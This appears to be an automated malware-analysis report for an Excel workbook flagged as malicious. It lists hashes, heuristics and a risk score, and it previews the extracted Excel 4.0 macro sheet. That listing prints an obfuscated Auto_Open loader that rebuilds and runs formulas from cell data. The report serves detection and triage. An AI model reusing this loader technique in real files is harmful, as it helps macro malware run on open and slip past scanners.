Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 604252e0611bb077…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:32:04 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 3481b2327eba1641847d7feadd1cdbde SHA-1: 4c2769b17a8e8e408abb4061cf4c3a27ec24eb1b SHA-256: 604252e0611bb077c21367460a9201cc4755a38649a121afcc6c362df3c25c93
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6582 bytes
SHA-256: 1a67a316f9c3402a25494a253479cf0ea6ada941a149c534951faaf64fa63221
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pQHacpubG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E180 
' 0018     26 LABEL : Cell Value, String Constant - DlkkDHnAQXV len=0 
' 0018     21 LABEL : Cell Value, String Constant - Dlyllq len=0 
' 0018     25 LABEL : Cell Value, String Constant - dXsCUgViCR len=0 
' 0018     21 LABEL : Cell Value, String Constant - ecLBaO len=0 
' 0018     21 LABEL : Cell Value, String Constant - fPaXoF len=0 
' 0018     22 LABEL : Cell Value, String Constant - ihUTIsT len=0 
' 0018     27 LABEL : Cell Value, String Constant - jzeESEdxaiTb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ogHHVIgUV len=0 
' 0018     23 LABEL : Cell Value, String Constant - pPIcGbUV len=0 
' 0018     21 LABEL : Cell Value, String Constant - PrXIcp len=0 
' 0018     24 LABEL : Cell Value, String Constant - PTOqESRcl len=0 
' 0018     22 LABEL : Cell Value, String Constant - qdzibLp len=0 
' 0018     27 LABEL : Cell Value, String Constant - qHhTPbAmSmah len=0 
' 0018     21 LABEL : Cell Value, String Constant - RVniUd len=0 
' 0018     24 LABEL : Cell Value, String Constant - TvnuKEWcb len=0 
' 0018     26 LABEL : Cell Value, String Constant - xvDkadjnaKM len=0 
' 0018     26 LABEL : Cell Value, String Constant - ymuHstyCKkn len=0 
' 0018     25 LABEL : Cell Value, String Constant - yTuFPPNIBF len=0 
' 0018     23 LABEL : Cell Value, String Constant - yVDfRheV len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZmbuOxTMCWGj len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pQHacpubG,E83,"SET.NAME("ihUTIsT",VALUE("0"))",""
'  pQHacpubG,E88,"SET.NAME("RVniUd",ihUTIsT)",""
'  pQHacpubG,E92,"SET.NAME("TvnuKEWcb",ihUTIsT)",""
'  pQHacpubG,E94,"SET.NAME("Dlyllq",COUNTA(PTOqESRcl))",""
'  pQHacpubG,E97,"SET.NAME("yTuFPPNIBF",COUNTA(qdzibLp))",""
'  pQHacpubG,E99,[],""
'  pQHacpubG,E104,"SET.NAME("xvDkadjnaKM","")",""
'  pQHacpubG,E109,"RVniUd",""
'  pQHacpubG,E113,"SET.NAME("ZmbuOxTMCWGj",HLOOKUP("*",PTOqESRcl,RVniUd,FALSE))",""
'  pQHacpubG,E116,"pPIcGbUV",""
'  pQHacpubG,E121,"SET.NAME("dXsCUgViCR",ihUTIsT)",""
'  pQHacpubG,E123,[],""
'  pQHacpubG,E128,"dXsCUgViCR",""
'  pQHacpubG,E133,"ecLBaO",""
'  pQHacpubG,E137,"qHhTPbAmSmah",""
'  pQHacpubG,E140,"ogHHVIgUV",""
'  pQHacpubG,E144,"SET.NAME("ymuHstyCKkn",VALUE(HLOOKUP("*",qdzibLp,ogHHVIgUV,FALSE)))",""
'  pQHacpubG,E148,"jzeESEdxaiTb",""
'  pQHacpubG,E150,"xvDkadjnaKM",""
'  pQHacpubG,E155,"TvnuKEWcb",""
'  pQHacpubG,E157,NEXT(),""
'  pQHacpubG,E160,"yVDfRheV",""
'  pQHacpubG,E162,"SET.NAME("f",INT(T(FORMULA(T(xvDkadjnaKM)&"",""&T(yVDfRheV)))))",""
'  pQHacpubG,E166,"fPaXoF",""
'  pQHacpubG,E170,NEXT(),""
'  pQHacpubG,E175,RETURN(),""
'  pQHacpubG,E211,"SET.NAME("PrXIcp",E83)",""
'  pQHacpubG,E215,"PTOqESRcl",""
'  pQHacpubG,E217,"SET.NAME("qdzibLp",R92C14)",""
'  pQHacpubG,E221,"SET.NAME("fPaXoF",229)",""
'  pQHacpubG,E224,"SET.NAME("DlkkDHnAQXV",5)",""
'  pQHacpubG,E228,PrXIcp(),""
'  pQHacpubG,E229,HALT(),""

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